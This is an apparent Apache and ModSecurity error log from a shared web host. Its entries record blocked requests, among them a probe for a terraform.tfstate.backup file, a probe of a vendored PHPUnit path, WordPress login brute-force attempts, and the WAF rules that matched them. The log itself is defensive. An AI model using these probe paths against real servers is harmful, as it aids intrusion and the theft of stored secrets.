https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQyL3Bvd2Vy [Sat Jun 13 18:20:15.405585 2026] [security2:error] [pid 648189:tid 648475] [client 185.177.72.9:43320] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.backup$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1279"] [id "390588"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .backup)"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/terraform.tfstate.backup"] [unique_id "ai3zv1WSojQL4F7upKCDtAAAAPk"] [Sat Jun 13 18:20:15.633334 2026] [access_compat:error] [pid 646876:tid 646983] [remote 57.141.14.90:45066] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:15.633610 2026] [access_compat:error] [pid 646876:tid 646983] [remote 57.141.14.90:45066] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:15.702148 2026] [access_compat:error] [pid 646876:tid 646959] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQwL2RldmljZS9zdWJzeXN0ZW0vbW91c2UxL3Bvd2Vy [Sat Jun 13 18:20:15.702611 2026] [access_compat:error] [pid 646876:tid 646959] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQwL2RldmljZS9zdWJzeXN0ZW0vbW91c2UxL3Bvd2Vy [Sat Jun 13 18:20:15.795120 2026] [access_compat:error] [pid 648189:tid 648292] [remote 57.141.14.66:54090] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:15.795521 2026] [access_compat:error] [pid 648189:tid 648292] [remote 57.141.14.66:54090] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:15.984275 2026] [access_compat:error] [pid 646876:tid 647006] [remote 57.141.14.2:63791] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:15.984745 2026] [access_compat:error] [pid 646876:tid 647006] [remote 57.141.14.2:63791] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:16.125905 2026] [security2:error] [pid 646876:tid 646947] [remote 17.22.245.129:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 129.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zwNyTkdrNlD40tSG9eAAANkQ"] [Sat Jun 13 18:20:16.181032 2026] [security2:error] [pid 646876:tid 646909] [remote 17.246.15.19:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 19.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zwNyTkdrNlD40tSG9fgAALB4"] [Sat Jun 13 18:20:16.199981 2026] [core:error] [pid 648189:tid 648454] [client 45.86.200.13:62243] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:20:16.200009 2026] [core:error] [pid 648189:tid 648454] [client 45.86.200.13:62243] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:20:16.226019 2026] [access_compat:error] [pid 646876:tid 647003] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9ldmVudDIvZGV2aWNlL2V2ZW50Mi9kZXZpY2UvcG93ZXI= [Sat Jun 13 18:20:16.226364 2026] [access_compat:error] [pid 646876:tid 647003] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9ldmVudDIvZGV2aWNlL2V2ZW50Mi9kZXZpY2UvcG93ZXI= [Sat Jun 13 18:20:16.338094 2026] [security2:error] [pid 648189:tid 648229] [remote 17.241.227.119:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 119.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zwFWSojQL4F7upKCD3AAA1gk"] [Sat Jun 13 18:20:16.533972 2026] [access_compat:error] [pid 648189:tid 648237] [remote 57.141.14.67:34601] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:16.534249 2026] [access_compat:error] [pid 648189:tid 648237] [remote 57.141.14.67:34601] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:16.586160 2026] [security2:error] [pid 648189:tid 648286] [remote 17.246.19.244:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 244.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zwFWSojQL4F7upKCD5wAApEA"] [Sat Jun 13 18:20:16.722666 2026] [access_compat:error] [pid 646876:tid 646881] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9pbnB1dDI6Om51bWxvY2svZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDUvaWQ= [Sat Jun 13 18:20:16.723126 2026] [access_compat:error] [pid 646876:tid 646881] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9pbnB1dDI6Om51bWxvY2svZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDUvaWQ= [Sat Jun 13 18:20:16.811712 2026] [security2:error] [pid 648189:tid 648280] [remote 17.22.253.57:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 57.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zwFWSojQL4F7upKCD7wAAzjo"] [Sat Jun 13 18:20:16.949458 2026] [access_compat:error] [pid 646876:tid 646901] [remote 57.141.14.77:25507] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:16.949951 2026] [access_compat:error] [pid 646876:tid 646901] [remote 57.141.14.77:25507] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:17.140888 2026] [security2:error] [pid 646876:tid 646934] [remote 17.246.19.53:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 53.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zwdyTkdrNlD40tSG9lgAAGTc"] [Sat Jun 13 18:20:17.141096 2026] [access_compat:error] [pid 648189:tid 648347] [remote 57.141.14.101:31002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:17.141360 2026] [access_compat:error] [pid 648189:tid 648347] [remote 57.141.14.101:31002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:17.173587 2026] [access_compat:error] [pid 646876:tid 646999] [remote 57.141.14.78:24028] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:17.174017 2026] [access_compat:error] [pid 646876:tid 646999] [remote 57.141.14.78:24028] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:17.226664 2026] [security2:error] [pid 648189:tid 648428] [client 216.73.216.71:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/math/cos_basiclong_64bit.phpt"] [unique_id "ai3zwVWSojQL4F7upKCD_AAAAM8"] [Sat Jun 13 18:20:17.284377 2026] [access_compat:error] [pid 646876:tid 646929] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZQ== [Sat Jun 13 18:20:17.284841 2026] [access_compat:error] [pid 646876:tid 646929] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZQ== [Sat Jun 13 18:20:17.324980 2026] [autoindex:error] [pid 646876:tid 647110] [client 45.86.200.27:46137] AH01276: Cannot serve directory /home4/geyserjz/public_html/CanacoAppWeb/vendor/phpunit/phpunit/src/Util/PHP/: No matching DirectoryIndex (index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.php,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive [Sat Jun 13 18:20:17.341737 2026] [access_compat:error] [pid 648189:tid 648307] [remote 57.141.14.108:46609] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:17.342009 2026] [access_compat:error] [pid 648189:tid 648307] [remote 57.141.14.108:46609] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:17.386461 2026] [security2:error] [pid 648189:tid 648337] [remote 17.241.75.75:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 75.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zwVWSojQL4F7upKCEBwAA03I"] [Sat Jun 13 18:20:17.509462 2026] [core:error] [pid 646876:tid 647008] [client 45.86.200.27:46137] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:20:17.509483 2026] [core:error] [pid 646876:tid 647008] [client 45.86.200.27:46137] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:20:17.584076 2026] [access_compat:error] [pid 646876:tid 646961] [remote 57.141.14.44:48479] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:17.584541 2026] [access_compat:error] [pid 646876:tid 646961] [remote 57.141.14.44:48479] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:17.703602 2026] [security2:error] [pid 648189:tid 648341] [remote 185.68.18.52:31506] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 52.18.68.185.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "ambeault.net"] [uri "/wp-login.php"] [unique_id "ai3zwVWSojQL4F7upKCEFgAA2XY"] [Sat Jun 13 18:20:17.859506 2026] [access_compat:error] [pid 646876:tid 646936] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQ3L2V2ZW50Ni9zdWJzeXN0ZW0vaW5wdXQ3L3Bvd2Vy [Sat Jun 13 18:20:17.859808 2026] [access_compat:error] [pid 646876:tid 646936] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQ3L2V2ZW50Ni9zdWJzeXN0ZW0vaW5wdXQ3L3Bvd2Vy [Sat Jun 13 18:20:18.062353 2026] [security2:error] [pid 648189:tid 648244] [remote 17.22.253.236:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 236.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zwlWSojQL4F7upKCEKgAA6Rc"] [Sat Jun 13 18:20:18.368040 2026] [access_compat:error] [pid 646876:tid 646993] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQ1L2RldmljZS9zdWJzeXN0ZW0vZXZlbnQ0L3Bvd2Vy [Sat Jun 13 18:20:18.368306 2026] [access_compat:error] [pid 646876:tid 646993] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQ1L2RldmljZS9zdWJzeXN0ZW0vZXZlbnQ0L3Bvd2Vy [Sat Jun 13 18:20:18.396748 2026] [core:error] [pid 648189:tid 648361] [client 45.86.200.46:65167] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:20:18.396766 2026] [core:error] [pid 648189:tid 648361] [client 45.86.200.46:65167] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:20:18.569416 2026] [access_compat:error] [pid 648189:tid 648227] [remote 57.141.14.59:20219] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:18.569715 2026] [access_compat:error] [pid 648189:tid 648227] [remote 57.141.14.59:20219] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:18.600367 2026] [security2:error] [pid 648189:tid 648332] [remote 168.63.79.147:47402] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 147.79.63.168.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "mrbradgoreski.com"] [uri "/wp-login.php"] [unique_id "ai3zwlWSojQL4F7upKCERAAA7W0"] [Sat Jun 13 18:20:18.872399 2026] [access_compat:error] [pid 646876:tid 646908] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: 